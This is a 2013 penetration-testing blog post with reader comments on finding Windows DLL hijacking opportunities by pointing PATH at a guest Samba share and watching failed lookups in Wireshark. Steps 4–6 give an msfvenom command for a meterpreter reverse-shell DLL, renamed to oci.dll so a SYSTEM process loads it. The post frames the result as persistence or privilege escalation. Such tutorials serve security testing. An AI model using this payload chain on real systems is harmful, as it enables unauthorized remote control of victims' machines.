Wednesday, September 4, 2013

Finding Executable Hijacking Opportunities


DLL Hijacking is nothing new and there are a number of ways to find the issue, but the best way I have found is a bit more forceful method using a network share. First we need a network share that we can 1. monitor every request failed or not, and 2. allow ANYONE to access that share because if there is a problem with a service that runs as SYSTEM its not going to have credentials to authenticate against a share with more constrained permissions.

Step 1: Set up Samba w/ guest access

In /etc/samba/smb.conf add these two shares. (You need to also create the directories in /tmp)
comment = Shares
browseable = yes
path = /tmp/share32
guest ok = yes
create mask = 0777
read only = no

comment = Shares
browseable = yes
path = /tmp/share64
guest ok = yes
create mask = 0777
read only = no

root@wpad:/tmp/share32/ # service samba restart
[ ok ] Stopping Samba daemons: nmbd smbd.
[ ok ] Starting Samba daemons: nmbd smbd.
Cool, we have a share. Next we need to override the PATH variable in our victim machine:

Step 2: Set PATH to share IP

The PATH environmental variable is what controls where things are "looked" for when being called if and when someone or some part of the OS attempts to run something without its full path. For example, you probably don't type C:\Windows\System32\calc.exe every time you want calc to pop up (ok, bad example since you probably just double click the shortcut, but you get the idea). Same on Linux actually as well, if someone types 'ls' the system does a quick check in all of the PATH directories for the 'ls' binary, stopping at the first instance it finds it. So below in the screen shot you can see me adding our share to the very beginning of the PATH variable using the ';' semicolon as a delimiter:

Step 3: Use wireshark (smb) mask to find STATUS_OBJECT_NAME_NOT_FOUND messages

Now we need to find a way to monitor the requests that are going to happen. I initially tried using just standard Samba logging turned all the way up to level 5. The problem was parsing and turn around. I found it easier to use wireshark

The screen shot shows how you can add the "File name" in the response and request packets to a column to make it easier to scroll through as the requests go by.

On a Windows 7 machine I have as a VM, when I reboot I get “oci.dll” as one of the DLLs that get requested:

Step 4: Generate payload

./msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST= LPORT=4444 > /tmp/share32/bob.dll

Step 5: Toss in the DLL with the right name.

cd /tmp/share32/
mv bob.dll oci.dll

Step 6: Get shell

System reboots..

Step 7: Next Steps

Ok, but that requires a reboot. What other hijacking can I do? Start some programs, services, open file types and just watch what is attempted to be loaded. If you see an EXE or DLL being requested to the share, rename your evil bin, and repeat whatever you did to cause the request.

This can result in persistence methods or sometimes privilege escalation, but be sure to test as much as possible, because if you override the loading of a critical DLL or executable, you may cause service disruption (anywhere from just a popup about a crash to a complete stall of the system).

Update: Eric G on Google+ mentioned that Mandiant has a post about what oci.dll is and how it was used in malware:


Trav.Emme said...

would procmon achieve the same result, but with less complexity?

Trav.Emme said...

Would procmon achieve the same result, but with less setup? Of course some filters, and setting the path to something unique would be required.

mubix said...

@Trav.Emme - I went the procmon route first, but it was such a pain to get working each time I wanted to reboot or do something else on the system, it was just easier to remote the actually detection elements onto another platform.